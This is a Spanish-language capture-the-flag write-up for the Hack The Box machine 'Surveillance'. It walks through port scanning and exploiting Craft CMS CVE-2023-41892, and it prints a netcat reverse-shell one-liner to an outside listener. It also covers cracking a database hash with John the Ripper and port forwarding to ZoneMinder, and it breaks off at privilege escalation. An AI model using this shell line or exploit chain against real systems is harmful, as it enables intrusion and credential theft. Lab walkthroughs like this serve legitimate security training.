🟨HTB - Surveillance

https://app.hackthebox.com/machines/Surveillance

Información General

  • Nombre de la Máquina: Surveillance

  • IP de la Máquina: 10.10.11.245

  • Sistema Operativo: Linux

  • Dificultad: Medium

  • Fecha de Publicación: 09 Dec 2023


Enumeration

Establecer el objetivo

Primero, establecemos el objetivo utilizando el comando settarget con la dirección IP de la máquina objetivo:

settarget 10.10.11.245 Surveillance

Ping de reconocimiento

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:

ping -c 1 10.10.11.239 -R

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable:

sudo nmap -p- --open -sS --min-rate 5000 -vvv  -n -Pn 10.10.11.245 -oG allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

sudo nmap -sCV -p22,80 10.10.11.245 -oN targeted

Para añadir la entrada "10.10.11.245 surveillance.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

echo "10.10.11.245 surveillance.htb" | sudo tee -a /etc/hosts

Este comando añade la dirección IP 10.10.11.245 asociada al nombre de host surveillance.htb al archivo /etc/hosts de tu sistema.

Utilizando WhatWeb para Obtener Información sobre el Objetivo

Para obtener más información sobre nuestro objetivo, utilizamos la herramienta WhatWeb. Esta herramienta nos permite identificar tecnologías web utilizadas en el servidor, como el sistema de gestión de contenidos (CMS), el lenguaje de programación, los plugins y otras características. Ejecutamos el siguiente comando:

whatweb http://surveillance.htb > whatweb && cat whatweb -l java

Para realizar un descubrimiento de directorios en un sitio web utilizando Gobuster, puedes utilizar el siguiente comando:

gobuster dir -u http://surveillance.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

Este comando utiliza Gobuster para realizar un escaneo de directorios en el sitio web http://surveillance.htb/. Utiliza el archivo de palabras /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt como lista de palabras clave para la búsqueda. La opción -t 50 indica que se deben utilizar 50 threads simultáneos para acelerar el proceso.

TIP: Instalación de SecLists con apt-get

Para instalar SecLists en sistemas basados en Debian (como Ubuntu) utilizando apt-get, puedes seguir estos pasos:

  1. Actualiza la lista de paquetes disponibles:

    sudo apt-get update
  2. Instala SecLists:

    sudo apt-get install seclists

Con estos pasos, SecLists se instalará en tu sistema y podrás acceder a la lista de palabras clave en el directorio /usr/share/seclists/.

Exploitation

Durante una de nuestras incursiones en la red, nos topamos con un hallazgo interesante: una dirección específica que nos llevó directamente a un panel de administración de un sitio web: http://surveillance.htb/admin/login. Al inspeccionar la página, nos dimos cuenta de que estaba potenciada por "CraftCMS", y aún más intrigante, la versión se revelaba sin recato en el index.php como la 4.4.14.

Movidos por la curiosidad y el instinto de cazadores de vulnerabilidades, nos lanzamos a la vasta mar de información que es internet, con la esperanza de desenterrar algún dato útil sobre CraftCMS y sus posibles puntos débiles. No pasó mucho tiempo antes de que nuestra búsqueda diera frutos: nos topamos con un CVE específico que parecía ser la llave para comprometer la versión que teníamos enfrente: Craft CMS CVE-2023-41892. La fuente de esta revelación fue este enlace, que prometía ser el comienzo de una aventura aún más emocionante.

Ejecutamos el exploit sudo python3 craft-cms.py http://surveillance.htb/ y accedemos a una shell interactiva.

Para asegurar una shell robusta y poder ejecutar comandos de bash, se puede utilizar un one-liner que establezca una conexión inversa o una sesión interactiva. Este tipo de conexión es útil cuando se ha conseguido ejecutar comandos de manera remota en una máquina objetivo y se desea tener una interfaz de línea de comandos más estable para interactuar con el sistema.

Uno de los one-liners más comunes para este propósito utiliza bash para crear una shell inversa. Aquí tienes un ejemplo:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.80 7777 >/tmp/f

Después de pasar un buen rato explorando el sistema al que había ganado acceso, me topé con una joya oculta en /html/craft/storage/backups: un archivo .sql. Este tipo de archivo suele contener datos cruciales, como backups de la base de datos, que podrían revelar información valiosa sobre la aplicación web y su estructura de datos. Sabiendo esto, decidí que era imperativo obtener una copia para un análisis más detallado.

Para hacer el archivo accesible y poder descargarlo, primero tuve que moverlo a un directorio desde el cual pudiera accederse públicamente. La ubicación ideal para esto fue /html/craft/web, un directorio que sabía que era servido por el servidor web.

Una vez que obtuvimos el archivo .sql y luego el hash, nuestro siguiente paso fue identificar el tipo de hash para determinar la mejor manera de crackearlo. Para esto, utilizamos la herramienta hash-identifier, que nos permitió analizar el hash y determinar su posible algoritmo de hash subyacente.

El proceso de identificación fue sencillo y directo, y nos brindó información valiosa sobre la naturaleza del hash, lo que nos permitió elegir la mejor estrategia para descifrarlo.

Una vez identificado el tipo de hash como raw-sha256, procedimos a intentar crackearlo utilizando la herramienta John the Ripper. Esta herramienta es ampliamente utilizada para realizar ataques de fuerza bruta y diccionario contra contraseñas cifradas.

Ejecución de John the Ripper El comando utilizado para ejecutar John the Ripper y crackear el hash fue el siguiente:

john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Intentamos ingresar por ssh con las credenciales de matthew@surveillance.htb y este es el resultado:

Revisando las conexiones de la máquina me percato de un servicio que está corriendo en el puerto 8080.

SSH Local Port Forward

El "SSH Local Port Forward" es una técnica que permite redirigir el tráfico desde un puerto local en la máquina cliente hacia un puerto específico en un servidor remoto a través de una conexión SSH. Esta técnica es útil para acceder a servicios en un servidor remoto que de otra manera no serían accesibles directamente desde la máquina cliente.

En el ejemplo dado, se utilizó el siguiente comando para establecer un SSH Local Port Forward desde la máquina cliente hacia el servidor remoto:

ssh -L 2222:127.0.0.1:8080 matthew@10.10.11.245
  • -L 2222:127.0.0.1:8080: especifica la redirección del tráfico desde el puerto 2222 en la máquina cliente hacia el puerto 8080 en la máquina remota. El formato es -L [puerto_local]:[host_destino]:[puerto_destino].

  • matthew@10.10.11.245: es el usuario y la dirección IP del servidor remoto al que se va a conectar a través de SSH.

Después de ejecutar este comando, cualquier tráfico que llegue al puerto 2222 en la máquina cliente será redirigido al puerto 8080 en el servidor remoto a través de la conexión SSH. Esto permite acceder a servicios o aplicaciones que se ejecutan en el puerto 8080 del servidor remoto como si estuvieran siendo ejecutados localmente en el puerto 2222 de la máquina cliente.

Después de establecer la conexión SSH local, decidí investigar si había algún exploit disponible para ZoneMinder, y encontré otro exploit relacionado con la ejecución remota de código (RCE). Puedes encontrar más información sobre este exploit en el siguiente enlace: CVE-2023-26035.

Privilege Escalation

Lo primero que se me ocurre hacer es un sudo -l

Al parecer hay archivos en /usr/bin/ llamado zm*.pl que podrían ser de ayuda: